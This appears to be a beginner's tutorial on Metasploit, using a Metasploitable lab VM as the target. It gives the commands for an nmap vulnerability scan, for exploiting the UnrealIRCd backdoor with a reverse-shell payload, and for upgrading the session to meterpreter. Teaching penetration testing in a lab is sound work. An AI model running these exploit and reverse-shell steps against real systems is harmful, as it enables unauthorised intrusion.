Metasploit Framework 🔐
Setup Before We Begin 🛠
Before diving into the Metasploit Framework, make sure you’ve set up your Metasploitable VM.
What is Metasploit Framework? 🌐
The Metasploit Framework, maintained by Rapid7, is a vital computer security project that helps with security vulnerability information, penetration testing, and the creation of IDS signatures. It encompasses a set of powerful tools, including the iconic “msfconsole,” designed to access various networks and computer systems.
The Versatility of Metasploit 🧐
Metasploit is a versatile tool, serving both ethical hackers and cybercriminals. Its open-source nature allows adaptation to various operating systems. For this guide, we focus on ethical hacking, and we are not responsible for any other use.
Understanding msfconsole 🔮
“msfconsole” is the primary interface for the Metasploit Framework, serving as a centralized console that grants access to numerous Metasploit options. It allows you to scan, exploit, and more.
Here’s an example of exploiting a Metasploitable VM that you can download from here. In this example, we’re targeting port 6667 (IRC), but you can use Nmap for broader port and vulnerability scanning.
Example Nmap scan for more ports and vulnerabilities:
sudo nmap -sV -sT --script=vuln ip_of_vm
Installing Metasploit Framework 💻
The Metasploit Framework should already be installed on the Virtual Machine we previously set up. If it’s not, you’ll need to install it yourself.
Running msfconsole 💡
To launch the “msfconsole” tool, follow these steps:
- Open your terminal.
- Type the following command:
msfconsole
You’ll see this result:
msf6 >
Getting Started with Metasploit 💪
With Metasploit, you can select exploits, scanners, and more using the “use” command. For instance:
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
Once you’ve chosen an exploit, you’ll need to set a payload using the “set” command. Here’s an example:
msf6 > set PAYLOAD cmd/unix/reverse
This sets the payload as “cmd/unix/reverse,” which opens a backdoor for command line access.
After selecting an exploit and payload, you’ll need to configure other settings. You can view the required options using the “show options” command:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
You’ll see details that need to be specified, like LHOST (your local host) and RHOST (the target’s IP). You can set them using the “set” command. For instance:
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST xx.xx.xx.xx
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.0.xx
With the configuration complete, you’re ready to exploit the target using the “exploit” command.
Upgrading a Metasploit Session 🔝
For more advanced users, you can upgrade a session. If you’ve already exploited a server using an IRC backdoor exploit, you can enhance your capabilities by:
- Pressing “Ctrl + Z” to return to the msfconsole.
- Typing “sessions” to view active sessions.
- Finding the session number.
- Upgrading it using “session -u session_num.”
Now, you can access more commands and options within a meterpreter session by typing “help.”
Stay responsible and always adhere to ethical hacking practices. 🛡